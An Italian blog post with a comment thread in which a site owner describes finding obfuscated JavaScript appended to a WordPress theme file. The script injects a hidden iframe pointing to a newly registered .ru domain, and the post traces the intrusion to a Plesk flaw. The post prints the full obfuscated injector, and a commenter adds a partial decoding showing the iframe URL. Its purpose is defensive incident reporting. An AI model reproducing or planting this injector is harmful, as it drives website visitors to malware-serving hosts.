Source: http://www.ingmattia.eu/2012/06/16/esempio-di-sito-sotto-attacco-tramite-lutilizzo-di-javascript/
Timestamp: 2016-05-25 20:42:56+00:00

Document:
Sito sotto attacco tramite l'utilizzo di Javascript - Mattia Notari
HomeContattamii miei interessiInfo & NewsLista siti web amiciTermini di utilizzo – Note legali
Sito sotto attacco tramite l’utilizzo di Javascript
32 Repliche	Ieri, come qualcuno avrà certamente notato, wordpress.org ha rilasciato la versione 3.4 dell’omonimo CMS scritto in php e, maniaco come sono, mi sono affrettato ad aggiornare tutti i siti con base wordpress che gestisco. Ad un certo punto, nel bel mezzo della procedura di aggiornamento di un sito, mi accorgo che nella home page compare un IFRAME del tutto sospetto e mai visto prima d’ora.
Se vi state già chiedendo come me ne sono potuto accorgere, la risposta è molto semplice: grazie al famosissimo plug-in di Firefox NoScript (basilare per la sicurezza informatica su internet)
Allarmato e preoccupato cerco di capire da dove arriva questo nuovo IFRAME… tasto destro… Visualizza Sorgente Pagina… NIENTE! Tutto pulito e in ordine. Controllo i vari script JS ma, dato che il tema non l’ho fatto io, non noto problemi che mi facciano sospettare qualcosa. NoScript d’altro canto non lascia spazio a dubbi: c’è un IFRAME che effettua un GET direttametne al sito fufsbovwfzjumtle.ru (guarda caso creato esattamente 3 giorni fa, il 13 giugno in Russia! Basta fare un semplice lookup del domino per scoprirlo, vedi immagine a sinistra). Ecco la reputazione del dominio secondo WOT in meno di 3 giorni di attività: http://www.mywot.com/en/scorecard/fufsbovwfzjumtle.ru
Cerco subito su Google questo sito ma niente, di indicizzato non compare proprio nulla! La questione si fa calda, e per prima cosa mi viene da provare a sovrascrivere i sorgenti di wordpress approfittando dell’aggiornamento alla versione 3.4. Finito l’upload su ftp, funziona tutto ma è il FRAME è esattamente come prima. Ragionando un attimo, mi rendo conto che i temi personalizzati potrebbero essere la causa del male… BINGO.
Scarico il tema originale e il tema presente sul sito sotto attacco, confronto i sorgenti con WinMerge, e… voilà!!! Scopro una maledettissima stringa aggiunta nel JS del tema che vi posto di seguito:
/*km0ae9gr6m*/try{q=document.createElement(“p”);q.appendChild(q+””);}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?(“fromCharC”+”ode”):””;e=window[“e”+”val”];n=[102,234,330,396,116,210,333,440,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,80,123,492,10,64,96,128,32,236,291,456,32,208,315,128,61,64,348,416,105,230,138,460,101,202,300,128,47,64,348,416,105,230,138,324,59,20,96,128,32,64,354,388,114,64,324,444,32,122,96,464,104,210,345,184,115,202,303,400,32,74,96,464,104,210,345,184,81,118,30,128,32,64,96,472,97,228,96,464,101,230,348,128,61,64,348,416,105,230,138,260,32,84,96,432,111,64,135,128,116,208,315,460,46,164,96,168,32,208,315,236,10,64,96,128,32,210,306,160,116,202,345,464,32,124,96,192,41,246,30,128,32,64,96,128,32,64,96,464,104,210,345,184,115,202,303,400,32,122,96,464,101,230,348,236,10,64,96,128,32,250,96,404,108,230,303,128,123,20,96,128,32,64,96,128,32,64,348,416,105,230,138,460,101,202,300,128,61,64,348,404,115,232,96,172,32,232,312,420,115,92,231,236,10,64,96,128,32,250,30,128,32,64,96,456,101,232,351,456,110,64,120,464,104,210,345,184,115,202,303,400,32,84,96,464,104,210,345,184,111,220,303,316,118,202,342,308,41,118,30,500,10,20,306,468,110,198,348,420,111,220,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,369,40,32,64,96,128,118,194,342,128,100,64,183,128,110,202,357,128,68,194,348,404,40,234,330,420,120,84,147,192,48,96,123,236,10,64,96,128,32,236,291,456,32,230,96,244,32,200,138,412,101,232,216,444,117,228,345,160,41,64,186,128,49,100,96,252,32,98,96,232,32,96,177,40,32,64,96,128,116,208,315,460,46,230,303,404,100,64,183,128,50,102,156,212,54,110,168,228,48,98,96,172,32,80,300,184,103,202,348,308,111,220,348,416,40,82,96,168,32,96,360,280,70,140,210,280,70,82,96,172,32,80,300,184,103,202,348,272,97,232,303,160,41,64,126,128,48,240,210,280,70,140,123,172,32,80,231,388,116,208,138,456,111,234,330,400,40,230,96,168,32,96,360,280,70,140,123,164,59,20,96,128,32,64,348,416,105,230,138,260,32,122,96,208,56,100,165,196,59,20,96,128,32,64,348,416,105,230,138,308,32,122,96,200,49,104,165,208,56,102,162,208,55,118,30,128,32,64,96,464,104,210,345,184,81,64,183,128,116,208,315,460,46,154,96,188,32,232,312,420,115,92,195,236,10,64,96,128,32,232,312,420,115,92,246,128,61,64,348,416,105,230,138,308,32,74,96,464,104,210,345,184,65,118,30,128,32,64,96,464,104,210,345,184,111,220,303,316,118,202,342,308,32,122,96,196,46,96,96,188,32,232,312,420,115,92,231,236,10,64,96,128,32,232,312,420,115,92,330,404,120,232,96,244,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,118,30,128,32,64,96,456,101,232,351,456,110,64,348,416,105,230,177,40,125,20,30,408,117,220,297,464,105,222,330,128,99,228,303,388,116,202,246,388,110,200,333,436,78,234,327,392,101,228,120,456,44,64,231,420,110,88,96,308,97,240,123,492,10,64,96,128,32,228,303,464,117,228,330,128,77,194,348,416,46,228,333,468,110,200,120,160,77,194,360,180,77,210,330,164,32,84,96,456,46,220,303,480,116,80,123,128,43,64,231,420,110,82,177,40,125,20,30,408,117,220,297,464,105,222,330,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,216,303,440,103,232,312,176,32,244,333,440,101,82,369,40,32,64,96,128,118,194,342,128,114,194,330,400,32,122,96,440,101,238,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,177,40,32,64,96,128,118,194,342,128,108,202,348,464,101,228,345,128,61,64,273,156,97,78,132,156,98,78,132,156,99,78,132,156,100,78,132,156,101,78,132,156,102,78,132,156,103,78,132,156,104,78,132,156,105,78,132,156,106,78,132,156,107,78,132,156,108,78,132,156,109,78,132,156,110,78,132,156,111,78,132,156,112,78,132,156,113,78,132,156,114,78,132,156,115,78,132,156,116,78,132,156,117,78,132,156,118,78,132,156,119,78,132,156,120,78,132,156,121,78,132,156,122,78,279,236,10,64,96,128,32,236,291,456,32,230,348,456,32,122,96,156,39,118,30,128,32,64,96,408,111,228,120,472,97,228,96,420,32,122,96,192,59,64,315,128,60,64,324,404,110,206,348,416,59,64,315,128,43,86,96,164,123,20,96,128,32,64,96,128,32,64,345,464,114,64,129,244,32,216,303,464,116,202,342,460,91,198,342,404,97,232,303,328,97,220,300,444,109,156,351,436,98,202,342,160,114,194,330,400,44,64,144,176,32,216,303,464,116,202,342,460,46,216,303,440,103,232,312,128,45,64,147,164,93,118,30,128,32,64,96,500,10,64,96,128,32,228,303,464,117,228,330,128,115,232,342,128,43,64,117,184,39,64,129,128,122,222,330,404,59,20,375,40,10,230,303,464,84,210,327,404,111,234,348,160,102,234,330,396,116,210,333,440,40,82,369,40,32,64,96,128,116,228,363,492,10,64,96,128,32,64,96,128,32,210,306,160,116,242,336,404,111,204,96,420,102,228,291,436,101,174,291,460,67,228,303,388,116,202,300,128,61,122,96,136,117,220,300,404,102,210,330,404,100,68,123,492,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,97,218,303,348,97,230,201,456,101,194,348,404,100,64,183,128,116,228,351,404,59,20,96,128,32,64,96,128,32,64,96,128,32,64,354,388,114,64,351,440,105,240,96,244,32,154,291,464,104,92,342,444,117,220,300,160,43,220,303,476,32,136,291,464,101,80,123,188,49,96,144,192,41,118,30,128,32,64,96,128,32,64,96,128,32,64,96,472,97,228,96,400,111,218,291,420,110,156,291,436,101,64,183,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,98,162,176,32,78,342,468,39,82,177,40,32,64,96,128,32,64,96,128,32,64,96,128,105,204,342,436,32,122,96,400,111,198,351,436,101,220,348,184,99,228,303,388,116,202,207,432,101,218,303,440,116,80,102,292,70,164,195,308,69,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,101,232,195,464,116,228,315,392,117,232,303,160,34,230,342,396,34,88,96,136,104,232,348,448,58,94,141,136,43,200,333,436,97,210,330,312,97,218,303,172,34,94,342,468,110,204,333,456,101,230,348,456,117,220,189,460,105,200,183,396,120,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,116,242,324,404,46,238,315,400,116,208,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,104,202,315,412,104,232,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,118,210,345,420,98,210,324,420,116,242,96,244,32,68,312,420,100,200,303,440,34,118,96,40,32,64,96,128,32,64,96,128,32,64,96,128,100,222,297,468,109,202,330,464,46,196,333,400,121,92,291,448,112,202,330,400,67,208,315,432,100,80,315,408,114,218,123,236,10,64,96,128,32,64,96,128,32,250,30,128,32,64,96,500,99,194,348,396,104,80,303,164,123,250,30,500,44,64,159,192,48,82,177];if(window.document)for(i=6-2-1-2-1;-1771+i!=2-2;i++){k=i;ss=ss+String[f](n[k]/(i%(h*h)+2-1));}e(ss);}}/*qhk6sa6g1c*/
Ah credeva anche di fregarmi! La stringa è stata abilmente crittografata per non destare sospetti, sicuramente la mano di un utente che sapeva bene cosa stava facendo ( …e sicuramente non la mia mano, a meno che non abbia fatto qualcosa in un momento di sonnambulismo profondo 😀 ).
Ora rimane “solo” da capire la funzione di questa stringa. L’articolo l’ho scritto nel caso in cui qualcuno si trovi nelle mie condizioni, e la soluzione è semplice:
1) Cancellare la stringa sopra nel JS
2) Correggere i permessi sul file JS (anche se è meglio controllare che tutto il sito sia impostato con i permessi giusti)
EDIT 24 giugno 2012 – Ecco cosa mi segnala Avira quando cerco di entrare nel sito che puntualmente, viene attaccato appeno sistemo i permessi:
Forse ti interessa:Microsoft mette le mani su Wordpress?Wordpress abbandona definitivamente PHP 4 e MySql 4 !Le statistiche dei blog realizzati con wordpress	Questo articolo è stato pubblicato in News, Privacy e taggato come fufsbovwfzjumtle.ru, hacker, iframe, javascript, js, Russia, winmerge, wordpress il 16 giugno 2012 da Mattia Notari	Navigazione articolo
← Convertire e proteggere classi C# in un solo file *.DLL per progetti ASP.NET
Salvi gli incetivi per l’eternit, ma il quinto conto energia segna la fine del fotovoltaico entro il 2012 →
32 pensieri su “Sito sotto attacco tramite l’utilizzo di Javascript”	Franco Corbelli 17 giugno 2012 alle 19:16	Se può interessare ho decodificato il codice e dovrebbe essere questo
var test = this.A * lo – this.R * hi;
var letters = [‘a’,’b’,’c’,’d’,’e’,’f’,’g’,’h’,’i’,’j’,’k’,’l’,’m’,’n’,’o’,’p’,’q’,’r’,’s’,’t’,’u’,’v’,’w’,’x’,’y’,’z’];
str += letters[createRandomNumber(rand, 0, letters.length – 1)];
ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=cx&quot;);
Con un "lanciatore" di questo genere
q=document.createElement("p");
try{bcsd=prototype-2;}
[…] ss = quella roba sopra
Mattia Notari Autore articolo17 giugno 2012 alle 19:36	Grazie, appena ho tempo proverò ad analizzare questo codice JavaScript, a meno che non l’hai già fatto te 🙂
Franco Corbelli 17 giugno 2012 alle 21:23	E’ abbastanza diffuso su internet (!), con tanti server bacati a dir poco.
Si appende in fondo a tutto quello che trova (html, php etc), sperando di essere eseguito prima o poi.
Più che lo script in sè (che non fa nulla di particolare) sto cercando ci capire “come” si appiccica ai file.
Mattia Notari Autore articolo17 giugno 2012 alle 22:30	Sei sicuro che non faccia nulla di particolare? Anche a me da questa impressione ma credo che lo lancerò in una macchina virtuale per vedere con WireShark che traffico genera, appena avrò tempo… Comunque io avevo pulito tutti i file ieri pomeriggio e oggi, sul sito nel quale ho riscontrato il problema, vedo che è stato modificato un solo file JS, chiaramente diverso da quello di prima… Sembra che qualcuno si stia divertendo 🙂
Franco Corbelli 18 giugno 2012 alle 11:58	Ne ho preparato uno qui
http://i46.tinypic.com/2d1qo02.jpg
Come detto sono più interessato al meccanismo che consente di appendere codice, perchè invece di questo “bimbominkia-malware” se ne potrebbe mettere, per la stessa via, di assai più rognosi
Mattia Notari Autore articolo18 giugno 2012 alle 14:39	Ho notato che il problema si verifica quando i permessi sono settati da 755 in su, subito pensavo che fosse una falla del CMS, ma se l’hai visto su altri siti ed è un bug diffuso potrebbe essere una falla di apache quando ha alcuni parametri impostati.
in ogni caso tienici aggiornati!
Franco Corbelli 18 giugno 2012 alle 14:48	Sono d’accordo: non pare un problema limitato a WordPress
Orlando 18 giugno 2012 alle 16:07	Anche io ho trovato la stringa in alcuni dei miei js su un sito in joomla. Non riesco a capire come faccia ad appenderla. I file sono in 644. Se avete news potete postarle qui. Grazie
nico 23 giugno 2012 alle 11:48	Il mio sito (attaccato) è gestito tramite PLESK, anche il vostro per caso?
Mattia Notari Autore articolo23 giugno 2012 alle 12:17	per quanto mi riguarda si! è gestito tramite plesk
ele.and 25 giugno 2012 alle 15:41	anch’io ho trovato il file generato in data 16/06/2012 rollover.js modificato con la stessa stringa attaccata in fondo al codice del file originale, l’ho rinominato, scaricato per vedere di cosa si tratta e l’antivirus me lo segnalava nella categoria di contenuto “blackhole”. Il sito risiede su un server che credo non sia molto affidabile e secondo me di facile “attacco”… se qualcuno riesce a svelare l’arcano… spero di leggerlo qui!
Mattia Notari Autore articolo25 giugno 2012 alle 15:53	Grazie per la segnalazione, ancora non sono riuscito bene a capire quale precauzione prendere. Il mio attuale hosting è misterdomain.eu , assolutamente inaffidabile. Credo che il baco sia ufficialmente presente in Plesk
Aggiornamento (23 giugno 2012): Grazie a tutti coloro che hanno lasciato commenti. Il problema sembra essere davvero Plesk. Axel ha trovato tracce di un attacco nei file di log di accesso a Plesk. L’attaccante si è collegato e ha utilizzato file manager per modificare i file js. Axel attribuisce la vulnerabilità a Plesk (sono interessate le versioni precedenti alla 10,4) con un bug trovano all’inizio di quest’anno e suggerisce agli amministratori del server di risolvere il problema: http://kb.parallels.com/en/113321 e reimpostare le password per tutti gli account di Plesk.
ele.and 25 giugno 2012 alle 16:03	HO appena verificato sull’unico altro sito che risiede presso lo stesso hosting, se ci sia lo stesso problema e ho trovato 2 file modificati: rollover.js e, forse peggio, index.aspx in data 23/06/2012, sono della stessa tipologia dell’altro. Entrambi i siti hanno plesk come pannello di controllo.
Mattia Notari Autore articolo25 giugno 2012 alle 16:06	Si se leggi sopra… mistero risolto… Ho tradotto una parte di un altro blog!
glm2006ITALY 11 luglio 2012 alle 13:48	Bene vedo che non sono il solo….
Battute a parte a me ha colpito 35 siti web differenti sia statici in html che dinamici con WP, Elxis, MyBB, OSCLass.
Credo proprio si tratti di falle di sicurezza DEI SERVER, ho esposto anche denuncia di quanto accaduto, vediamo le nostre “infallibili” procure cosa riusciranno a fare 😀
Mattia Notari Autore articolo11 luglio 2012 alle 14:56	Ciao, come dici te è una falla presente su alcuni server, anzi praticamente tutti quelli che hanno Plesk con versione precedente alla 10,4.
Da quel che so io, quelli di Aruba non hanno avuto problemi (Server VPS a parte che usano Plesk e comunque sono sempre aggiornati).
Una denuncia forse è eccessivo a meno che non gestisci siti con dati diciamo “particolari” o a rischio. Per fortuna chi ha usato la falla sembra essersi limitato a modificare massivamente i files presenti sui server.
glm2006ITALY 11 luglio 2012 alle 15:04	Sarà anche eccessiva ma chi lo sapeva di questo simpatico “caos” che è successo era causato da un “buco” sull’hosting…. ho chiamato un paio di volte quelli della mistyerdomain e per loro “tutto è regolare”
“Sicuro di non avere il pc infetto” (visto che inzialmente ha colpito quasi esclusivamente i “miei” siti web!)
Mattia Notari Autore articolo11 luglio 2012 alle 15:10	Si intendevo dire “nel mio caso una denuncia è eccessiva”, capisco la tua sitazione con MisterDomain, mi sembrano due bravi ragazzi quelli che rispondono alle e-mail ma ho l’impressione che gestiscano un sistema troppo grande per loro.
glm2006ITALY 11 luglio 2012 alle 15:23	Sono solo in due?
Lo credo che non riescono a seguire tutto…. ci sono anche problemi sulla posta 🙁
Mattia Notari Autore articolo11 luglio 2012 alle 15:29	Non sono sicuro che siano in due, di certo so che in 3 anni ho avuto modo di ricevere risposta sempre e soltanto da due persone che probabilmente sono in Italia (i server sono a Sassari in Sardegna), la terza se c’è credo sia in Slovacchia dove hanno la sede legale. Le mie sono solo SEMPLICI supposizioni basate sulla mia esperienza personale. Potrebbe anche essere che abbiano un team di 10 persone ma che soltanto 2 si interfacciano con i clienti.
glm2006ITALY 11 luglio 2012 alle 15:41	Ah, ecco 😀
Comunque, ora, hanno anche server nel Lazio, diciamo che da quanto ho visto si appoggiano a Seeweb e Televideocom
cd 13 luglio 2012 alle 21:17	ciao,
ho cancellato il code js,pero mi viene ancora…e Google ha bloccato il mio sito T_T
c’e qualche modo di eliminare tutto?
Mattia Notari Autore articolo13 luglio 2012 alle 23:02	Leggi qualche commento più su e scoprirai come risolvere… 🙂
cd 14 luglio 2012 alle 02:57	anch’io c’ho hosting con misterdomain
ho visto che si risolve sul qst sito?
pero non capisco inglese…
glm2006ITALY 14 luglio 2012 alle 08:39	cd, prima cambia le varie pass (pannello di controllo, FTP, database) quindi elimina file infetti e “stringhe” malevole
Mattia Notari Autore articolo14 luglio 2012 alle 08:51	Grazie glm2006 per l’aiuto comunque misterdomain sta facendo il giro di tutti i siti per cambiare le password di Plesk quindi ci vorrà un po’ ma alla fine il problema (in buona parte) lo risolveranno loro.
glm2006ITALY 14 luglio 2012 alle 08:56	Si, buonanotte, se aspettavo loro a quest’ora avevo tutti i siti rimossi dall’indice di Google 😀
Aruba 15 luglio 2012 alle 05:21	It is really a nice and helpful piece of information. I am satisfied that you just shared this useful information with us.
Fotolibro NiceBook 31 luglio 2012 alle 17:23	Ottimo articolo! Grazie per le informazioni.
Fotolibro Nicebook
glm2006ITALY 19 settembre 2012 alle 15:14	Ciao Mattia
Novità: nuovi attacchi e questa volta caricano di brutto un condice che tenta di scaricare un file.exe
A voi altri sta capitando qualcosa di simile?
Potete vedere il “bestio” sul sito nauticapiu
Mattia Notari Autore articolo19 settembre 2012 alle 15:22	Ciao. No, non ho ancora visto nulla di simile. Di quale sito stai parlando esattamente? Ah si ho notato adesso il sito. Confermo che facendo un controllo rapido anche uno dei miei siti è di nuovo sotto attacco! Panico! 😉
Strano che la versione di Plesk 9 sia piena di bachi!!!
glm2006ITALY 12 maggio 2013 alle 23:56	Qualcuno ha avuto novità?
Pare che, ormai, tutto si sia “tranquillizzato”
Lascia un commento Annulla risposta	Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *Commento Nome * Email * Sito web Di cosa mi occupo? In sintesi:	Application and web developer, DB administrator, project analyst and project manager in a wide variety of business applications. Particularly interested in client/server architecture (Linux or Microsoft) and relational database design using MySql and MS-SQL Server. Always interested in migration projects.

References: articolo17
 articolo17
 articolo18
 articolo23
 articolo25
 articolo25
 articolo11
 articolo11
 articolo11
 articolo13
 articolo14
 articolo19